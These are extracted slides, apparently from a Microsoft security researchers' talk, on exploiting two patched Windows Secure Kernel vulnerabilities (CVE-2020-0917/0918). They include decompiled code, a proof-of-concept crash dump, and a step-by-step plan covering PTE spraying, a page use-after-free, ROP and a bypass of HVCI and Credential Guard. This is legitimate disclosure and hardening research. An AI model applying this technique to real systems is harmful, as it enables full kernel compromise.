- Looks like the page->refcount decrement and PTEs writes are “safe”
  - we can’t write ZeroPTE outside the PTEs range (due to the calculation)
  - we can’t dec arbitrary addresses outside the pfndb range (due to a check)

- But who needs that, when we can zero-out arbitrary PTEs!

- Also, it’s important to zero-out the bit in the PTEs BitMap
  - Otherwise, it would be hard to reclaim the page while it’s in-used
  - SkmmUnmapMdl calls SkmiReleaseUnknownPTEs, which does that
PTERange

- Secure Kernel maintains structures for managing virtual address space
- Among those: PTERange
- Describes a range of PTEs of a certain use

- Examples: SystemPtes, IOPtes, PagedPtes, RebootPtes, etc.

- Has PTEbase address, size, bitMap pointer, bitMap Hint, etc.
The PTE Ranges Problem/Primitive

- So SkmmUnmapMdl calls SkmiReleaseUnknownPTEs
  - Remember – it’s optional. We control MDL->MdlFlags

- This function chooses the right PTE range among the following ranges: SkmiSystemPtes, SkmiIoPtes, SkmiRebootPtes

```c
void __fastcall SkmiReleaseUnknownPTEs(_SMPTE *StartingPte, unsigned int NumberOfPtes)
{
  _PTERANGE *v_chosenPTERange; // rcx

  if ( StartingPte < SkmiIoPtes.BasePte )
  {
    if ( !SkmiRebootPtes.BasePte || (v_chosenPTERange = &SkmiRebootPtes, StartingPte < SkmiRebootPtes.BasePte) )
      v_chosenPTERange = &SkmiSystemPtes;
  }
  else
  {
    v_chosenPTERange = &SkmiIoPtes;
  }
  SkmiReleaseSystemPtes(v_chosenPTERange, StartingPte, NumberOfPtes);
}
The PTE Ranges Problem/Primitive

- **BUT** – it only compares the PTE address to each PTERange->PTEBase
  - Doesn’t check that it’s actually in the chosen range

- So, trigger the vulnerability with a virtual address from another range

- We gain a *relative write primitive AFTER some PTERange->BitMap*

- Hmm, interesting 😊 POC for the win:
*** Fatal System Error: 0x00000050
(0xFFFFF900150000D4,0x0000000000000002,0xFFFFF9000A4A07B0,0x)

Break instruction exception - code 80000003 (first chance)

A fatal system error has occurred.
Debugger entered on first try; Bugcheck callbacks have not been invoked.

A fatal system error has occurred.

nt!DbgBreakPointWithStatus:

nt!RtlInterlockedSetClearBitRunEx+0x8b
nt!SkmmUnmapMd1+0x2c1
nt!Analyse -v
The PTE Ranges Problem/Primitive

- But there are many pages outside those bitmaps which are paged-out and not in-used

- We can still make it work, but it’s better to do the UAF idea 😊

- Keep in mind that we can attack only pages from those specific 3 PTERanges!

- We need to find an interesting structure in a page inside the SkmiSystemPtes
Ok great, we know what we need to do, right?
- Allocate some structure/data
- Unmap the underlaying page
- Reclaim PTE, replace the pf
- “UAF”

It’s in the PTE allocator (Skmi{Allocate,Release}SystemPtes())

Each bitmap has a BitmapHint, which we start to scan from
- Which is updated on wrapped around in the allocation

Debug traces:
Getting a good crash

- But we want a good crash
  - PAGE_FAULT_IN_NONPAGED_AREA clearly isn’t good enough 😊
  - We can trigger it in any flow we would like basically, which is nice

- Two options:
  - Allocate a target structure ourselves, and then spray to wrap-around the BitmapHint (in order to reclaim it)
    - Requires an information disclosure primitive, leak the address of the structure
  - Find an already existing target structure, which its PTE’s Bitmap index comes AFTER the BitmapHint after boot

- Keep in mind that the BitmapHint after boot is very predictable
Getting a good crash

- By analyzing the pages represented by the existed PTEs after the `SkmiSystemPtes->BitmapHint`, we see interesting structures

- Predictability in the VTL1 address space promises stability
  - It never failed 😊

- We have a great target structure at a predictable virtual address
  - `Prcb->Tss, Prcb->StackBase`

- Clearly gives us ROP with controlled registers

- But we have to be careful, as we replace the entire page
Getting a good crash

- This great structure spans over a few pages

- We don’t HAVE to replace all of them, we can choose only one

- Which happens to be the one that:
  - Has as few critical values as we can find
  - Has raw pointers
  - Being used in a way that leads to arbitrary read/write

- 2 pages ahead looks good!
Exploit 2 – highlevel plan

- Spray with SkmiAllocateSystemPtes() on SkmiSystemPtes to reach Prcb pages

- Trigger vulnerability, unmap one of the Prcb pages

- Keep spray, reclaim the PTE entry used for the previous used page

- And...
| 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 |
| 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 1 | 1 | 0 |
| 0 | 1 | 1 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 |
| 0 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |
| 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 |

SkmiSystemPtes.Bitmap

SkmiSystemPtes.BitmapHint

Prcb pages
<table>
<thead>
<tr>
<th>SkmiSystemPtes.Bitmap</th>
<th>SkmiSystemPtes.BitmapHint</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="image" alt="Bitmap Diagram" /></td>
<td><img src="image" alt="BitmapHint Diagram" /></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Prcb pages</th>
<th>1</th>
<th>1</th>
<th>1</th>
<th>1</th>
<th>0</th>
<th>0</th>
<th>1</th>
<th>0</th>
<th>1</th>
<th>0</th>
<th>1</th>
<th>0</th>
<th>1</th>
<th>1</th>
<th>0</th>
<th>0</th>
<th>0</th>
<th>0</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
<tr>
<td>0</td>
<td>0</td>
<td>0</td>
<td>0</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>1</td>
<td>0</td>
<td>0</td>
<td>0</td>
</tr>
</tbody>
</table>

This image illustrates the mapping between SkmiSystemPtes.Bitmap and SkmiSystemPtes.BitmapHint, showing how individual pages are allocated.
Good panic! 😊
Post Exploitation - Bypassing HVCI / CG

- Given arbitrary code execution in VTL1 --> bypass HVCI / CG
  - Also ROP is enough 😊

- Secure Kernel completely control VTL0 EPT permissions by hypercalls

- Thus, Secure Kernel can trivially disable all SLAT-based VTL0 restrictions
Hardening SK

- Shipped fixes for the two vulnerabilities we discussed:
  - CVE-2020-0917 – The OOB
  - CVE-2020-0918 – The design flaw with SkmmUnmapMdl

- Developing end-to-end exploits has many values, one of them is spotting important behaviors to change

- We are making the 4 W+X addresses to be only +X
- Investigating randomizing Secure Kernel regions
- More to come 😊
Let’s work together!

- VBS is a very good security improvement for many of our products

- We would love to get submissions from you in our VBS model!

- Note about SK (again) – VTL0 can DOS VTL1 by design.
  - So the bugs need to be more than that (POC to leak sensitive data, corrupt memory, etc.) ☺
Shoutouts

- Matt Miller
- Ken Johnson (SKYWING)
- Andrea Allievi
- Tomer Schwartz
- All MSRC V&M members
Q & A

Saar Amar
@AmarSaar

Daniel King
@long123king